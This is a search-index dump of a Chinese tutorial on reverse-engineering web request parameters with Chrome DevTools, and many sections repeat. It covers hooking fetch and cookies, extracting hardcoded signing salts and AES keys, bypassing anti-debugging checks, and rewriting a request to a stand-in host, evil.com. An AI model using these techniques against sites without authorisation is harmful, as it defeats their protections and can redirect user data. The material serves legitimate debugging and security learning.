只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#xhrfetch-断点"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#事件监听器断点-event-listener-breakpoint"},{"categories":null,"collections":null,"content":"2.2 断点调试技巧 单步调试快捷键 快捷键 功能 说明 F8 Resume 继续执行（到下一个断点） F10 Step Over 单步跳过（不进入函数内部） F11 Step Into 单步进入（进入函数内部） Shift+F11 Step Out 跳出当前函数 Ctrl+F8 Disable All Breakpoints 临时禁用所有断点 黑盒脚本 (Blackbox Script) 右键文件 → “Blackbox script” 作用: 单步调试时自动跳过该文件（通常用于跳过第三方库） 示例: 跳过 jQuery, Lodash 等库文件 Settings → Blackboxing → Add pattern Pattern: jquery.*\\.js Pattern: lodash.*\\.js Watch 表达式 (Watch Expressions) 在断点暂停时，右侧 Watch 面板可以监控表达式的值 示例: // 添加以下表达式 params.sign; JSON.stringify(params); btoa(params.user_id); 每次断点停下时，这些表达式都会自动求值并显示。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#22-断点调试技巧"},{"categories":null,"collections":null,"content":"2.2 断点调试技巧 单步调试快捷键 快捷键 功能 说明 F8 Resume 继续执行（到下一个断点） F10 Step Over 单步跳过（不进入函数内部） F11 Step Into 单步进入（进入函数内部） Shift+F11 Step Out 跳出当前函数 Ctrl+F8 Disable All Breakpoints 临时禁用所有断点 黑盒脚本 (Blackbox Script) 右键文件 → “Blackbox script” 作用: 单步调试时自动跳过该文件（通常用于跳过第三方库） 示例: 跳过 jQuery, Lodash 等库文件 Settings → Blackboxing → Add pattern Pattern: jquery.*\\.js Pattern: lodash.*\\.js Watch 表达式 (Watch Expressions) 在断点暂停时，右侧 Watch 面板可以监控表达式的值 示例: // 添加以下表达式 params.sign; JSON.stringify(params); btoa(params.user_id); 每次断点停下时，这些表达式都会自动求值并显示。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#单步调试快捷键"},{"categories":null,"collections":null,"content":"2.2 断点调试技巧 单步调试快捷键 快捷键 功能 说明 F8 Resume 继续执行（到下一个断点） F10 Step Over 单步跳过（不进入函数内部） F11 Step Into 单步进入（进入函数内部） Shift+F11 Step Out 跳出当前函数 Ctrl+F8 Disable All Breakpoints 临时禁用所有断点 黑盒脚本 (Blackbox Script) 右键文件 → “Blackbox script” 作用: 单步调试时自动跳过该文件（通常用于跳过第三方库） 示例: 跳过 jQuery, Lodash 等库文件 Settings → Blackboxing → Add pattern Pattern: jquery.*\\.js Pattern: lodash.*\\.js Watch 表达式 (Watch Expressions) 在断点暂停时，右侧 Watch 面板可以监控表达式的值 示例: // 添加以下表达式 params.sign; JSON.stringify(params); btoa(params.user_id); 每次断点停下时，这些表达式都会自动求值并显示。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#黑盒脚本-blackbox-script"},{"categories":null,"collections":null,"content":"2.2 断点调试技巧 单步调试快捷键 快捷键 功能 说明 F8 Resume 继续执行（到下一个断点） F10 Step Over 单步跳过（不进入函数内部） F11 Step Into 单步进入（进入函数内部） Shift+F11 Step Out 跳出当前函数 Ctrl+F8 Disable All Breakpoints 临时禁用所有断点 黑盒脚本 (Blackbox Script) 右键文件 → “Blackbox script” 作用: 单步调试时自动跳过该文件（通常用于跳过第三方库） 示例: 跳过 jQuery, Lodash 等库文件 Settings → Blackboxing → Add pattern Pattern: jquery.*\\.js Pattern: lodash.*\\.js Watch 表达式 (Watch Expressions) 在断点暂停时，右侧 Watch 面板可以监控表达式的值 示例: // 添加以下表达式 params.sign; JSON.stringify(params); btoa(params.user_id); 每次断点停下时，这些表达式都会自动求值并显示。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#watch-表达式-watch-expressions"},{"categories":null,"collections":null,"content":"3. 内存漫游 (Scope Sniffing) 在断点停下后，Console 不仅仅是用来打印 log 的，它是一个全功能的 REPL (Read-Eval-Print Loop)。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:5:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#3-内存漫游-scope-sniffing"},{"categories":null,"collections":null,"content":"3.1 检查作用域变量 Scope 面板显示: Local: 当前函数的局部变量 Closure: 闭包变量（外层函数的变量） Global: 全局变量 (window) 技巧: 在 Console 中直接访问 // 在断点暂停时，Console 的上下文就是当前函数 console.log(params); // 打印局部变量 params console.log(this); // 打印 this 对象 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:5:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#31-检查作用域变量"},{"categories":null,"collections":null,"content":"3.2 检查闭包变量 问题: 某些加密函数使用了闭包变量，Local Scope 看不到 示例: function createEncryptor() { const secretKey = \"hardcoded_key_2024\"; // 闭包变量 return function encrypt(data) { // 使用 secretKey，但 Local Scope 里看不到 return AES.encrypt(data, secretKey); }; } const encrypt = createEncryptor(); 解决方案: 查看 Scope 面板 → Closure 部分 或在 Console 里直接输入变量名试试 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:5:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#32-检查闭包变量"},{"categories":null,"collections":null,"content":"3.3 导出大对象/数组 场景: 混淆代码预先生成了一个巨大的字符串数组（大表） 方法 1: copy() 函数 // 在 Console 中执行 copy(bigArray); // 自动复制到剪贴板 方法 2: 下载为文件 // 导出为 JSON 文件 const json = JSON.stringify(bigArray, null, 2); const blob = new Blob([json], { type: \"application/json\" }); const url = URL.createObjectURL(blob); const a = document.createElement(\"a\"); a.href = url; a.download = \"bigArray.json\"; a.click(); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:5:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#33-导出大对象数组"},{"categories":null,"collections":null,"content":"3.4 修改运行时变量 在断点暂停时，可以在 Console 中直接修改变量： // 修改参数测试不同情况 params.timestamp = 1234567890; params.sign = \"test_sign\"; // 修改对象原型链 Object.prototype.myDebug = true; ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:5:4","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#34-修改运行时变量"},{"categories":null,"collections":null,"content":"4. 探针技术 (Probing) 如果找不到某个函数在哪被调用，可以\"投石问路\"。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:6:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#4-探针技术-probing"},{"categories":null,"collections":null,"content":"4.1 污点追踪 (Property Access Interception) 场景: 怀疑某个对象的属性 x 会被加密函数读取 方法: 使用 Object.defineProperty 劫持属性访问 const obj = { x: \"original_value\" }; Object.defineProperty(obj, \"x\", { get: function () { console.trace(\"读取了 obj.x\"); // 打印调用栈 debugger; // 自动断点 return \"original_value\"; }, set: function (value) { console.trace(\"修改了 obj.x 为\", value); debugger; }, }); 实战案例: 追踪 Cookie 读取 // 劫持 document.cookie let _cookie = document.cookie; Object.defineProperty(document, \"cookie\", { get: function () { console.trace(\"读取了 cookie\"); debugger; return _cookie; }, set: function (value) { console.trace(\"设置了 cookie:\", value); _cookie = value; }, }); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:6:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#41-污点追踪-property-access-interception"},{"categories":null,"collections":null,"content":"4.2 函数劫持 (Function Hooking) 场景: 追踪某个函数的调用 方法 1: 劫持全局函数 const _fetch = window.fetch; window.fetch = function (...args) { console.log(\"[Fetch]\", args[0]); // 打印 URL debugger; // 发起 fetch 请求前断点 return _fetch.apply(this, args); }; 方法 2: 劫持原型方法 const _stringify = JSON.stringify; JSON.stringify = function (obj) { console.log(\"[JSON.stringify]\", obj); debugger; return _stringify.apply(this, arguments); }; 方法 3: Proxy 代理 const handler = { apply: function (target, thisArg, args) { console.log(\"[调用]\", target.name, args); debugger; return target.apply(thisArg, args); }, }; // 劫持加密函数 const originalEncrypt = window.encrypt; window.encrypt = new Proxy(originalEncrypt, handler); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:6:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#42-函数劫持-function-hooking"},{"categories":null,"collections":null,"content":"4.3 异常断点 (Exception Breakpoint) 方法: Sources 面板 → 勾选 “Pause on exceptions” 应用场景: 代码抛出错误时自动暂停 追踪 try-catch 中捕获的异常 示例: try { // 某个会抛异常的加密函数 const encrypted = riskyEncrypt(data); } catch (e) { // 如果勾选了 \"Pause on caught exceptions\"，会在这里暂停 console.error(e); } ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:6:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#43-异常断点-exception-breakpoint"},{"categories":null,"collections":null,"content":"5. 异步调试 (Async Debugging) ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:7:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#5-异步调试-async-debugging"},{"categories":null,"collections":null,"content":"5.1 Promise 调试 问题: Promise 链中某个步骤出错，难以定位 解决方案 1: 启用 Async Stack Traces DevTools Settings → Enable async stack traces 效果: 调用栈会显示完整的 Promise 链 Call Stack: then (api.js:123) ← 当前 Promise ↑ (async) fetchData (main.js:45) ← 发起 Promise 的位置 解决方案 2: 在 Promise 中手动断点 fetch(\"/api/data\") .then((response) =\u003e { debugger; // 断点 return response.json(); }) .then((data) =\u003e { debugger; // 断点 console.log(data); }); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:7:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#51-promise-调试"},{"categories":null,"collections":null,"content":"5.2 async/await 调试 使用 async/await 比 Promise 链更容易调试： async function fetchData() { const response = await fetch(\"/api/data\"); // 断点 const json = await response.json(); // 断点 console.log(json); // 断点 } 优势: 可以像同步代码一样单步调试 (F10) ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:7:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#52-asyncawait-调试"},{"categories":null,"collections":null,"content":"5.3 setTimeout/setInterval 调试 方法 1: Event Listener Breakpoint Sources → Event Listener Breakpoints → Timer → setInterval fired 方法 2: 劫持定时器** const _setTimeout = window.setTimeout; window.setTimeout = function (callback, delay) { console.log(`[setTimeout] ${delay}ms`, callback.toString()); debugger; return _setTimeout.apply(this, arguments); }; ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:7:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#53-settimeoutsetinterval-调试"},{"categories":null,"collections":null,"content":"6. 性能分析 (Performance Profiling) ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:8:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#6-性能分析-performance-profiling"},{"categories":null,"collections":null,"content":"6.1 CPU 性能分析 场景: 代码运行很慢，怀疑有性能瓶颈或故意的延迟 步骤: Performance 面板 → 点击 Record 执行目标操作（如点击按钮） 停止录制 查看 Flame Chart（火焰图） 分析技巧: 宽度 = 执行时间（越宽越慢） 颜色: 黄色 = JavaScript 执行 紫色 = 渲染/布局 绿色 = 绘制 示例: 发现某个函数 slowHash() 占用了 90% 的 CPU 时间 → 这就是加密/混淆的核心逻辑 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:8:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#61-cpu-性能分析"},{"categories":null,"collections":null,"content":"6.2 内存分析 场景: 怀疑代码中藏有解密后的 Key 或明文数据 步骤: Memory 面板 → Take Heap Snapshot 在搜索框输入关键字（如 secret, key, password） 查找字符串对象 技巧: 对比两个快照 拍第一个快照 执行目标操作（如登录） 拍第二个快照 选择 Comparison 模式 → 查看新增的对象 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:8:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#62-内存分析"},{"categories":null,"collections":null,"content":"7. 网络请求分析 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:9:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#7-网络请求分析"},{"categories":null,"collections":null,"content":"7.1 XHR/Fetch 断点 在 Sources 面板设置 URL 过滤器： XHR/fetch Breakpoints: - /api/login - /api/data 当发送匹配的请求时自动断点，此时可以： 查看 Call Stack（谁发起的请求） 查看 Local 变量（请求参数） 修改参数后继续执行 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:9:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#71-xhrfetch-断点"},{"categories":null,"collections":null,"content":"7.2 修改请求参数 方法 1: 在断点处修改 // 在 fetch() 断点处 url = \"https://evil.com/api\"; // 修改 URL body = JSON.stringify({ hacked: true }); // 修改 Body 方法 2: 使用 Local Overrides Network → 右键请求 → “Override content” 修改响应内容 刷新页面 → 使用修改后的响应 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:9:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#72-修改请求参数"},{"categories":null,"collections":null,"content":"8. 实战案例 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#8-实战案例"},{"categories":null,"collections":null,"content":"案例 1：追踪签名函数的 Salt 目标: 某 API 的签名包含一个未知的 Salt 步骤: Network 面板找到请求，发现参数 sign=e8f2d3c1... 搜索 sign 关键字，找到 generateSign() 函数 在该函数入口打断点 触发请求（如点击按钮）→ 断点暂停 查看 Call Stack 和 Local Scope 发现局部变量 salt = \"my_secret_2024\" 在 Console 中验证： md5(\"user_id=123\u0026timestamp=1638360000\u0026salt=my_secret_2024\"); // 结果与 sign 匹配 ✅ ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#案例-1追踪签名函数的-salt"},{"categories":null,"collections":null,"content":"案例 2：定位 AES 密钥 目标: 某登录接口的密码是 AES 加密的，密钥未知 步骤: 搜索 AES.encrypt 关键字 找到加密函数： function encryptPassword(password) { return CryptoJS.AES.encrypt(password, key, { iv: iv }).toString(); } 在该函数打断点 触发登录操作 → 断点暂停 查看 Scope 面板 → Closure 部分 发现 key = \"1234567890abcdef\", iv = \"abcdef1234567890\" 在 Console 中验证： CryptoJS.AES.encrypt(\"MyPassword\", key, { iv: iv }).toString(); // 结果与实际加密的密码匹配 ✅ ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#案例-2定位-aes-密钥"},{"categories":null,"collections":null,"content":"案例 3：追踪动态生成的参数 目标: 某请求的 device_id 参数每次都不同，不知道如何生成 方法 1: XHR 断点 设置 XHR 断点（URL: /api/data） 触发请求 → 自动断点 查看 Call Stack: send (XMLHttpRequest) ↑ sendRequest (api.js:567) ← 查看此处代码 ↑ onClick (main.js:89) 跳转到 api.js:567，发现： const device_id = getDeviceId(); // 调用了函数 继续追踪 getDeviceId() 函数 方法 2: 属性拦截 // 在 Console 中执行 const params = {}; Object.defineProperty(params, \"device_id\", { set: function (value) { console.trace(\"设置 device_id:\", value); debugger; this._device_id = value; }, get: function () { return this._device_id; }, }); // 当代码执行 params.device_id = xxx 时，自动断点 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#案例-3追踪动态生成的参数"},{"categories":null,"collections":null,"content":"案例 4：反调试绕过 现象: 打开 DevTools 后页面一片空白或报错 常见反调试手段: 检测 DevTools 打开 // 检测 console const devtools = /./; devtools.toString = function () { this.opened = true; }; console.log(\"%c\", devtools); if (devtools.opened) { alert(\"请关闭开发者工具\"); debugger; // 无限 debugger 循环 } 绕过方法: 禁用所有断点（Ctrl+F8） 或在 Console 中执行： devtools.toString = function () { return \"\"; }; 检测页面大小变化 window.onresize = function () { if (window.outerWidth - window.innerWidth \u003e 200) { alert(\"检测到开发者工具\"); location.href = \"about:blank\"; // 跳转空白页 } }; 绕过方法: 在独立窗口打开 DevTools（Undock into separate window） 无限 debugger setInterval(function () { debugger; }, 100); 绕过方法: 禁用所有断点（Ctrl+F8） 或右键代码 → “Never pause here” ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:4","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#案例-4反调试绕过"},{"categories":null,"collections":null,"content":"案例 4：反调试绕过 现象: 打开 DevTools 后页面一片空白或报错 常见反调试手段: 检测 DevTools 打开 // 检测 console const devtools = /./; devtools.toString = function () { this.opened = true; }; console.log(\"%c\", devtools); if (devtools.opened) { alert(\"请关闭开发者工具\"); debugger; // 无限 debugger 循环 } 绕过方法: 禁用所有断点（Ctrl+F8） 或在 Console 中执行： devtools.toString = function () { return \"\"; }; 检测页面大小变化 window.onresize = function () { if (window.outerWidth - window.innerWidth \u003e 200) { alert(\"检测到开发者工具\"); location.href = \"about:blank\"; // 跳转空白页 } }; 绕过方法: 在独立窗口打开 DevTools（Undock into separate window） 无限 debugger setInterval(function () { debugger; }, 100); 绕过方法: 禁用所有断点（Ctrl+F8） 或右键代码 → “Never pause here” ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:4","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#检测-devtools-打开"},{"categories":null,"collections":null,"content":"案例 4：反调试绕过 现象: 打开 DevTools 后页面一片空白或报错 常见反调试手段: 检测 DevTools 打开 // 检测 console const devtools = /./; devtools.toString = function () { this.opened = true; }; console.log(\"%c\", devtools); if (devtools.opened) { alert(\"请关闭开发者工具\"); debugger; // 无限 debugger 循环 } 绕过方法: 禁用所有断点（Ctrl+F8） 或在 Console 中执行： devtools.toString = function () { return \"\"; }; 检测页面大小变化 window.onresize = function () { if (window.outerWidth - window.innerWidth \u003e 200) { alert(\"检测到开发者工具\"); location.href = \"about:blank\"; // 跳转空白页 } }; 绕过方法: 在独立窗口打开 DevTools（Undock into separate window） 无限 debugger setInterval(function () { debugger; }, 100); 绕过方法: 禁用所有断点（Ctrl+F8） 或右键代码 → “Never pause here” ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:4","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#检测页面大小变化"},{"categories":null,"collections":null,"content":"案例 4：反调试绕过 现象: 打开 DevTools 后页面一片空白或报错 常见反调试手段: 检测 DevTools 打开 // 检测 console const devtools = /./; devtools.toString = function () { this.opened = true; }; console.log(\"%c\", devtools); if (devtools.opened) { alert(\"请关闭开发者工具\"); debugger; // 无限 debugger 循环 } 绕过方法: 禁用所有断点（Ctrl+F8） 或在 Console 中执行： devtools.toString = function () { return \"\"; }; 检测页面大小变化 window.onresize = function () { if (window.outerWidth - window.innerWidth \u003e 200) { alert(\"检测到开发者工具\"); location.href = \"about:blank\"; // 跳转空白页 } }; 绕过方法: 在独立窗口打开 DevTools（Undock into separate window） 无限 debugger setInterval(function () { debugger; }, 100); 绕过方法: 禁用所有断点（Ctrl+F8） 或右键代码 → “Never pause here” ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:10:4","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#无限-debugger"},{"categories":null,"collections":null,"content":"9. 调试技巧总结 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:11:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#9-调试技巧总结"},{"categories":null,"collections":null,"content":"9.1 快速定位技巧 场景 方法 找不到签名函数 搜索 sign、signature、md5、sha 找不到加密函数 搜索 encrypt、AES、RSA、CryptoJS 找不到请求发起点 Network → Initiator → 点击链接 找不到事件处理函数 Elements → Event Listeners 找不到定时器回调 Sources → Event Listener Breakpoints → Timer ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:11:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#91-快速定位技巧"},{"categories":null,"collections":null,"content":"9.2 常见错误 错误 原因 解决方案 变量显示 undefined 作用域不对 检查 Scope 面板，可能在 Closure 中 断点不生效 代码已优化/内联 使用 Logpoint 或禁用缓存 调用栈看不到源码 Source Map 缺失 寻找 .map 文件或分析编译后代码 异步代码断不住 Async Stack Traces 未开启 Settings → Enable async stack traces ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:11:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#92-常见错误"},{"categories":null,"collections":null,"content":"9.3 效率提升技巧 // 1. 快速打印调用栈 console.trace(); // 2. 快速打印对象（美化） console.table(params); console.dir(obj, { depth: null }); // 3. 性能测试 console.time(\"加密耗时\"); encrypt(data); console.timeEnd(\"加密耗时\"); // 输出：加密耗时: 123.45ms // 4. 分组日志 console.group(\"签名计算过程\"); console.log(\"步骤 1: 参数排序\", sorted); console.log(\"步骤 2: 拼接字符串\", joined); console.log(\"步骤 3: MD5 加密\", hashed); console.groupEnd(); // 5. 断言 console.assert(params.sign === expected, \"签名不匹配！\"); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:11:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#93-效率提升技巧"},{"categories":null,"collections":null,"content":"10. 进阶工具 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:12:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#10-进阶工具"},{"categories":null,"collections":null,"content":"10.1 Chrome DevTools Protocol (CDP) 通过 CDP 可以编程控制 Chrome，实现自动化调试。 示例: 使用 Python 自动打断点 from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_experimental_option(\"debuggerAddress\", \"127.0.0.1:9222\") driver = webdriver.Chrome(options=options) driver.execute_cdp_cmd(\"Debugger.enable\", {}) driver.execute_cdp_cmd(\"Debugger.setBreakpointByUrl\", { \"lineNumber\": 123, \"url\": \"https://example.com/utils.js\" }) ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:12:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#101-chrome-devtools-protocol-cdp"},{"categories":null,"collections":null,"content":"10.2 Puppeteer 调试模式 const puppeteer = require(\"puppeteer\"); (async () =\u003e { const browser = await puppeteer.launch({ headless: false, devtools: true, // 自动打开 DevTools }); const page = await browser.newPage(); // 在控制台执行代码 await page.evaluateOnNewDocument(() =\u003e { window.addEventListener(\"load\", () =\u003e { debugger; // 页面加载完成后自动断点 }); }); 